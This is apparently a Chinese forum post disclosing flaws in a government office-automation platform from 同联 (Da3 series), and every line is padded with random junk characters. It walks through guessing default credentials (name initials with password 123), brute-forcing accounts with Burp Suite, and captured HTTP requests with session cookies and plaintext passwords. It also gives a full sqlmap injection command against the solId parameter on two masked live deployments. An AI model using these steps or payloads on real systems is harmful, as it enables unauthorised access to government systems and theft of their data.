|
6 l4 ~; }+ S; X4 D, o* r: i
/ a: B5 U0 C$ O$ I n
# n' }. B1 B/ }# o0 f; \- a, i- s6 o! a' F; ]( H
平台简介：' T" y. k1 n" ?, C Z. [
! B. p: d! A) u+ z$ p
( L$ c( K! D2 g0 f$ }' I
) ^- P x3 U6 i2 }, X : G6 h! H7 u2 h% N j+ h
0 k4 S7 t1 h6 A$ U. @& t 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
5 P$ B1 W6 X( p/ j9 }同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
5 Q& r; m$ M9 @" j同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！
9 q D: m. S1 M- s& u, L8 n 3 ~0 X5 u% l; e1 N/ w0 U4 d
0 m! w3 l& O5 j$ N, i
, w2 `5 u: M( D/ F2 ?# o& o3 O% K
; Y' M* X) U4 P' {0 T: j3 t) Q
* @ \* [+ W1 j8 n( j 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：
. w6 Q& y% ?% e : F7 t! T( }2 M6 I
. c- O( ~& L F8 S' K5 V5 B
L1 j C! ] u8 C! k) |( r
8 q% u" U$ F* b# L* d% j; j% v ?
http://1.1.1.1:7197/cap-aco/#（案例2-）+ b- z; V6 l: \! f
! y% I. P- r. t. G( ~
/ _# M3 L% d, S9 D2 j9 l, A2 e
http://www.XXOO.com （案例1-官网网站）
- }' }) M8 H" \0 m
5 c# w) ~5 t- o+ c% X+ s: E# S* X/ K4 R# _' W
# o/ A6 j6 Y, E" M
# h- o$ F$ T( S" N& J C/ [6 q
* P! T4 [7 B6 O; J 漏洞详情:: c: a7 d( z* `" u8 q6 ~, U
; T. v$ U& T9 j8 J! H% O# d) x3 G7 n2 N4 @: i+ K
初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试) ]8 T( c+ N2 \. \! V: G+ U7 @
5 b. j$ ~; E, r0 Y5 f# B% m: ^
v z: j; ~; I( {$ | 首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：
. W) H) w# l3 z, l3 A
5 s# h! T/ {! x3 o, D' q
& C Z! b! g" Y+ f# c) t8 z' U% T5 F, ]
( k" V% g3 s$ B! m K1 n# e
2 a% s e" v) b3 N9 s- E! k f5 F- p4 [# m* w: q$ x& a! f
 4 G/ D1 w* Y' Y( B3 H% s
: d- {- w9 g0 D) z) f; U
n7 O) a8 A7 _
status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：
: v8 q" M0 S9 ~) `! W! X1 D3 y. g
) Y! o* K/ d) f t+ v' k2 x7 E* \
1、案例1-官方网站
: C9 _ y! w- Q
& O& x/ h. _6 n$ a) F! @/ I: x# [1 q" t1 k% m
GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1
; b3 ^' D) j% R* T& r9 o, d- B
$ u4 O# L7 R/ y9 _2 F- c7 _# f* F! |2 g1 ^9 r9 f# Q' N g5 J
Host: www.XXOO.com* m7 l0 \; ^4 j$ D
9 t0 l' o7 j) @; K0 q2 { r# b
' o, @+ r2 G1 ]' c% I
Proxy-Connection: Keep-Alive
8 {1 q& F5 ?, i0 L- u" v, n8 V% j" _ & k. p' n& ^# g7 f" w4 z" m+ k
+ f9 p9 p- b% J/ ~2 I# G Accept: application/json, text/javascript, */*; q=0.01
1 x- v/ f& y. k/ Q0 C0 S
3 b% I7 E* i0 f- _! F* V( r E* R0 x1 T; Z6 V0 w; c: l
Accept-Language: zh-CN
/ P/ I. x! o9 \
" L3 \0 C+ N8 S' j* S9 J9 Q* ?
4 E6 [! h% x" Q8 D' m Content-Type: application/json
% w, W' J6 i( ]$ V; G) l* U9 o
: @! }" L- V( j, w. s. O: s6 ?& i2 V# ?; c0 k$ r! C5 Z/ c
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko
9 R* g: k6 K6 q/ v + |3 P3 |* N+ j
2 `5 L6 f" {( p# P+ g$ A X-Requested-With: XMLHttpRequest
; f4 `" [5 T; a2 J0 N1 x1 @7 L
4 f8 z: }( `, l2 }
+ ~2 v3 F2 p; }) A$ M; } Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M0023 n- C: u- t/ t6 f% t
! t- x( J8 H7 W+ g: R1 e$ D1 x
" D8 I# K9 ?6 W9 U8 q2 E Accept-Encoding: gzip, deflate, sdch
0 e- D- W0 F7 g$ U. ]
# ]( H0 i9 m- N2 u. D) e( s1 x8 L, H- }; C7 Q; T; k( C" x
Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e
% C) t( y4 R5 B' s7 I _ + O a( d1 E5 I
8 U! r! {9 ^( H
将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:" a: r; B$ e) [) |& c: l& O
+ j6 S/ c; x$ J5 g2 m
% R# ^! a1 q5 Z" i; m; G: d  $ j- W, S' q2 |+ u/ a
+ S5 g7 g9 N) n; T, e
6 e7 j9 l: A& K- J4 x4 u 
8 L! Q. Q& `/ F, t* O% |$ r # ^2 b' k$ o; b# C1 ]
" Z+ A5 r# m6 V' d
( ~6 u, @1 A& J% C9 @5 b# T% w
" q9 O5 |9 z7 c! R' `8 Y9 Z
9 k8 {0 y; H# E; ?, g a - Z" W# W* K9 E' h: S" K3 n
6 `3 v3 Z/ p1 y0 C8 @" |( D
5 M1 r; F; c# l6 L- m4 G% c
) G6 g6 g1 \+ Y5 `' c
$ a9 E: l- f: s, A5 t5 |* X) L3 ^; u
2、案例2-某天河云平台# T+ f' `- ?, A# q* Q
7 K0 `7 s6 }* @5 [% T @
8 q; N2 {+ }* }. W4 s4 W$ S
GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1
/ W! S& I' p7 p- u _) \; _) H0 x2 y
% g8 r `, ]. |/ ]1 f. ^, W Host: 1.1.1.:7197; r+ m5 F: ~! _% C
0 D% `) }9 ~( o, p% y" V1 }: R
6 h! y* A$ T: p, h) d Accept: application/json, text/javascript, */*; q=0.01
4 y( I9 G$ D8 k% w* q2 g q* F
+ G, F) E- Q; l1 O# B! Y% k: {0 c; W: }! @& o& g; }& R- C
X-Requested-With: XMLHttpRequest- w' U! U- m* J5 k7 v
8 k$ p5 ?0 |7 q4 G" M: t% k
1 a6 w( x: r6 p, P User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0: u9 k, } k. }( ]# r, M
6 H% W$ E2 k% a% w" L. a B+ X7 K1 v2 F
Content-Type: application/json! j' O+ }8 m$ s+ R1 w
: k0 ?& j' p# A9 T% S
6 W; Y/ C: j# [, N) e8 _$ _: a
Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008% d/ |. A8 e: }" G- I
- E8 Y9 H" f! Y9 z+ E
9 V5 y7 v" s$ C+ S6 z. _ Accept-Language: zh-CN,zh;q=0.8& p5 q4 F6 k' j. l8 a7 L
" Y7 w2 l' a% x! x
V' M* |1 T# w j Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=14 g t; G3 ?6 Q; o
& E. z) [+ O) K# B
2 v, q+ w5 E8 N3 L% ^) J' A
Connection: close
; u" `& V' o9 D; w* r, V ' n+ F! Y; j( A& S3 b
# T A2 S ?! a& z9 m3 ~7 _
将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:
4 d, d6 c; f' \, \4 d" O 6 v5 [) A/ k7 i) D) } c
3 H) S: ^# W S4 H$ o0 F 
$ P6 x: G+ Q# |% `3 x- l5 o# t( K ) n1 ?5 }3 A6 H1 C2 _
4 G6 E0 Y- s6 `+ `
7 Z) T$ ~: R( a | 
发表于 2018-10-20 20:15:17
收藏
支持
反对